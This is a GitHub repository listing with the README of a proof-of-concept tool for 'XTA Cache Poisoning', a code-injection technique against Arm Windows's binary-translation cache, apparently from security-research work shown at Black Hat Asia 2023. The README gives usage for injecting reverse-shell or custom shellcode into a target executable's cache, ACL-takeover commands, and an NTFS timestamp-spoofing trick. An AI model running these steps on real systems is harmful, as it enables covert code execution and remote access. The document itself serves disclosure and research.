https://github.com/ffri/xtacpoisoning
PoC code of XTA Cache Poisoning presented at Black Hat Asia 2023
Science Score: 26.0%
This score indicates how likely this project is to be science-related based on various indicators:
-
○CITATION.cff file
-
✓codemeta.json file
Found codemeta.json file -
✓.zenodo.json file
Found .zenodo.json file -
○DOI references
-
○Academic publication links
-
○Committers with academic emails
-
○Institutional organization owner
-
○JOSS paper metadata
-
○Scientific vocabulary similarity
Low similarity (12.2%) to scientific vocabulary
Repository
PoC code of XTA Cache Poisoning presented at Black Hat Asia 2023
Basic Info
- Host: GitHub
- Owner: FFRI
- License: apache-2.0
- Language: C++
- Default Branch: main
- Homepage: https://www.blackhat.com/asia-23/briefings/schedule/index.html#dirty-bin-cache-a-new-code-injection-poisoning-binary-translation-cache-30907
- Size: 51.8 KB
Statistics
- Stars: 3
- Watchers: 2
- Forks: 1
- Open Issues: 0
- Releases: 0
Metadata Files
README.md
XTA Cache Poisoning
Introduction
Arm-based Windows has mechanisms to run x86/x64 applications by JIT binary translation. Typically, the JIT binary translation is time-consuming, so the translated blocks of code are saved to the storage and cached for the next application launch to improve the performance.
We presented a new code injection technique named "XTA Cache Poisoning" abusing this caching mechanism at Black Hat Asia 2023. This repository contains the PoC code of XTA Cache Poisoning and other utilities used in my research.
Requirements
- Visual Studio 2022
- Python 3.9 on Ubuntu 20.04 on WSL2 (for creating your own payload)
How to build
Open XtacPoisoning.sln with Visual Studio 2022, then select "Build Solution" to compile all executables. Before compiling, you need to select the proper platform. For example, if you want to poison an XTA cache file of an x86 executable, you need to change the platform to x86.
How to use the PoC code of XTA Cache Poisoning
You can use PoisonXtac to poison an XTA cache file. The usage of this tool is as follows.
```
PoisonXtac.exe
```
<shellcode name> must be one of the followings:
- revshell (it takes an IP address and port number as shellcode parameters.)
- calc (it takes no shellcode parameters.)
- msgbox (it takes no shellcode parameters.)
- custom (it takes paths of shellcode.bin and shellcodervas.txt as shellcode parameters. Please refer to "How to create custom payload" to make shellcode.bin and shellcodervas.txt)
Example 1 (reverse shell)
```
PoisonXtac.exe "C:\Users\ffri\Downloads\target.exe" revshell 192.168.0.2 8080 ```
Example 2 (calc)
```
PoisonXtac.exe "C:\Users\ffri\Downloads\target.exe" calc ```
How to create custom payload
Write your own logic in the
ShellcodeEntryfunction of ShellcodeTemplate. Then, build ShellcodeTemplate with Visual Studio 2022.Open the command prompt with admin privileges, then run the following command to change the ACL of
%SystemRoot%\XtaCachedirectory.
```
takeown /f C:\Windows\XtaCache icacls C:\Windows\XtaCache /grant Administrators:F ```
- Open the WSL terminal, then run the following command. This script runs the ShellcodeTemplate.exe to create an XTA cache file, then extract the information from it for XtacTranslateTool. After running this, shellcode.bin and shellcode_rvas.txt are created in the same directory as the
main.pyscript.
$ poetry install
$ poetry run python main.py <x86/x64>
- Test the generated shellcode works as expected. To check this, you can use TestShellcode.
```
TestShellcode.exe
```
- Pass shellcode.bin and shellcode_rvas.txt as shellcode parameters to poison an XTA cache file of the target executable.
```
PoisonXtac.exe "C:\Users\ffri\Downloads\target.exe" custom
```
Other utilities
CalcHashes
This tool calculates the module header hash and module path hash of the specified x86/x64 executable. XtaCache service calculates these two hashes to check whether the specified executable was previously translated. If there is a previous translation result corresponding to the calculated hashes, the XtaCache service reuses the XTA cache file to reduce the amount of binary translation. For more details, see chapter 8 "X86 simulation on ARM64 platforms" of Windows Internals Part2 7th Edition and my Black Hat Asia 2023 talk slides.
NTFSTimestampsExperiment
This tool is used to test the behavior of the NTFS filesystem's timestamp updates. It demonstrates that we can restore all timestamps (CreationTime, LastWriteTime, ChangeTime, and LastAccessTime of $SI and $FN in the directory) using NtSetInformationFile even if we modify the file contents. So, determining the file identity based on timestamps (not entire file contents) does not work on Windows. XtaCache service determines the file identity to check whether the specified binary was previously translated or not, but this check can be easily spoofed because it is based on the LastWriteTime timestamp, PE header, and NT device path name.
Author
Koh M. Nakagawa. © FFRI Security, Inc. 2023
License
Owner
- Name: FFRI Security, Inc.
- Login: FFRI
- Kind: organization
- Location: Tokyo, Japan
- Website: https://www.ffri.jp/
- Repositories: 12
- Profile: https://github.com/FFRI
Next Generation Security
GitHub Events
Total
Last Year
Issues and Pull Requests
Last synced: about 1 year ago
All Time
- Total issues: 0
- Total pull requests: 0
- Average time to close issues: N/A
- Average time to close pull requests: N/A
- Total issue authors: 0
- Total pull request authors: 0
- Average comments per issue: 0
- Average comments per pull request: 0
- Merged pull requests: 0
- Bot issues: 0
- Bot pull requests: 0
Past Year
- Issues: 0
- Pull requests: 0
- Average time to close issues: N/A
- Average time to close pull requests: N/A
- Issue authors: 0
- Pull request authors: 0
- Average comments per issue: 0
- Average comments per pull request: 0
- Merged pull requests: 0
- Bot issues: 0
- Bot pull requests: 0
Top Authors
Issue Authors
Pull Request Authors
Top Labels
Issue Labels
Pull Request Labels
Dependencies
- black 23.1.0 develop
- isort 5.12.0 develop
- mypy 1.0.0 develop
- mypy-extensions 1.0.0 develop
- packaging 23.0 develop
- pathspec 0.11.0 develop
- platformdirs 3.0.0 develop
- tomli 2.0.1 develop
- typing-extensions 4.5.0 develop
- click 8.1.3
- colorama 0.4.6
- r2pipe 1.7.4
- typer 0.6.1
- black ^23.1.0 develop
- isort ^5.12.0 develop
- mypy ^1.0.0 develop
- python ^3.9
- r2pipe ^1.7.1
- typer ^0.6.1